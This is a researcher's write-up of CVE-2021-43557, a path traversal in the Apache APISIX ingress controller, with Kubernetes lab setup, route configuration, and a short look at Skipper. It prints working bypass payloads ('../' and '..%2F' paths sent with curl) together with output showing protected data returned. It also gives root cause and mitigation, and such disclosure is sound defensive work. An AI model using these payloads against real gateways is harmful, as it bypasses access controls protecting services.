**CVE-2021-43557: Apache APISIX: Path traversal in request\_uri variable**

In this article I will present my research on insecure usage of $request\_uri variable in [Apache APISIX](https://github.com/apache/apisix-ingress-controller/) ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557. At the end of article I will mention in short [Skipper](https://github.com/zalando/skipper) which I tested for same problem.

What is APISIX ? From official website:

Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.

Why $request\_uri ? This [variable](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri) is many times used in authentication and authorization plugins. It’s **not normalized**, so giving a possibility to bypass some restrictions.

In Apache APISIX there is no typical functionality of external authentication/authorization. You can write your own plugin, but it’s quite complicated. To prove that APISIX is vulnerable to path-traversal I will use uri-blockerplugin. I’m suspecting that other plugins are also vulnerable but this one is easy to use.

## Setting the stage

Install APISIX into Kubernetes. Use helm chart with version **0.7.2**:

helm repo add apisix https://charts.apiseven.com

helm repo add bitnami https://charts.bitnami.com/bitnami

helm repo update

kubectl create ns ingress-apisix

helm install apisix apisix/apisix \

--set gateway.type=NodePort \

--set ingress-controller.enabled=true \

--namespace ingress-apisix \

--version 0.7.2

kubectl get service --namespace ingress-apisix

In case of problems follow [official guide](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md).

To create ingress route, you need to deploy ApisixRoute resource:

apiVersion: apisix.apache.org/v2beta1

kind: ApisixRoute

metadata:

name: public-service-route

spec:

http:

- name: public-service-rule

match:

hosts:

- app.test

paths:

- /public-service/\*

backends:

- serviceName: public-service

servicePort: 8080

plugins:

- name: proxy-rewrite

enable: true

config:

regex\_uri: ["/public-service/(.\*)", "/$1"]

- name: protected-service-rule

match:

hosts:

- app.test

paths:

- /protected-service/\*

backends:

- serviceName: protected-service

servicePort: 8080

plugins:

- name: uri-blocker

enable: true

config:

block\_rules: ["^/protected-service(/?).\*"]

case\_insensitive: true

- name: proxy-rewrite

enable: true

config:

regex\_uri: ["/protected-service/(.\*)", "/$1"]

Let’s dive deep into it:

* it creates routes for public-service and private-service
* there is proxy-rewrite turned on to remove prefixes
* there is uri-blocker plugin configured for protected-service. It can look like mistake but this plugin it about to block any requests starting with /protected-service 😀

## Exploitation

I’m using APISIX in version **2.10.0**.

Reaching out to APISIX routes in minikube is quite inconvenient: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'. To ease my pain I will write small script that will work as template:

#/bin/bash

kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'

In your case replace apisix-dc9d99d76-vl5lh with name of actual APISIX pod.

Let’s start with validation if routes and plugins are working as expected:

$ ./apisix\_request.sh "/public-service/public"

Defaulted container "apisix" out of: apisix, wait-etcd (init)

{"data":"public data"}

$ ./apisix\_request.sh "/protected-service/protected"

Defaulted container "apisix" out of: apisix, wait-etcd (init)

<html>

<head><title>403 Forbidden</title></head>

<body>

<center><h1>403 Forbidden</h1></center>

<hr><center>openresty</center>

</body>

</html>

Yep. public-service is available and protected-service is blocked by plugin.

Now let’s test payloads:

$ ./apisix\_request.sh "/public-service/../protected-service/protected"

Defaulted container "apisix" out of: apisix, wait-etcd (init)

{"data":"protected data"}

and second one:

$ ./apisix\_request.sh "/public-service/..%2Fprotected-service/protected"

Defaulted container "apisix" out of: apisix, wait-etcd (init)

{"data":"protected data"}

As you can see in both cases I was able to bypass uri restrictions 😄

### Root cause

uri-blocker plugin is using ctx.var.request\_uri variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):



### Impact

* attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to,
* developers of custom plugins have no knowledge that ngx.var.request\_uri variable is untrusted.

Search for usage of var.request\_uri gave me a hint that maybe [authz-keycloak plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) is affected. You can see [this code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578), it looks really nasty. If there is no normalization on keycloak side, then there is high potential for vulnerablity.

### Mitigation

In case of custom plugins, I suggest to do path normalization before using ngx.var.request\_uri variable. There are also two other variables, high probably normalized, to check ctx.var.upstream\_uri and ctx.var.uri.

## Skipper

Skipper is another ingress controller that I have investigated. It’s not easy to install it in kubernetes, because deployment guide and helm charts are outdated. Luckily I have found issue page where developer was describing how to install it. This ingress gives possibility to implement external authentication based on [webhook filter](https://opensource.zalando.com/skipper/reference/filters/#webhook):

apiVersion: networking.k8s.io/v1

kind: Ingress

metadata:

name: my-ingress

annotations:

zalando.org/skipper-filter: |

modPath("^/.\*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")

To add some interesting headers that could help in access control decision, you need to do it manually with setRequestHeader filter. There is template available to inject variable by ${}. Sadly (for attackers) ${request.path} is having normalized path 😐 I see in code that developers are not using easily RequestURI or originalRequest.

I wasn’t able to exploit path traversal in this case. Skipper remains safe.

## Summary

Apache APISIX is vulnerable for path traversal. It’s not affecting any external authentication, but plugins that are using ctx.var.request\_uri variable.

Whole code of this example is here <https://github.com/xvnpw/k8s-CVE-2021-43557-poc>.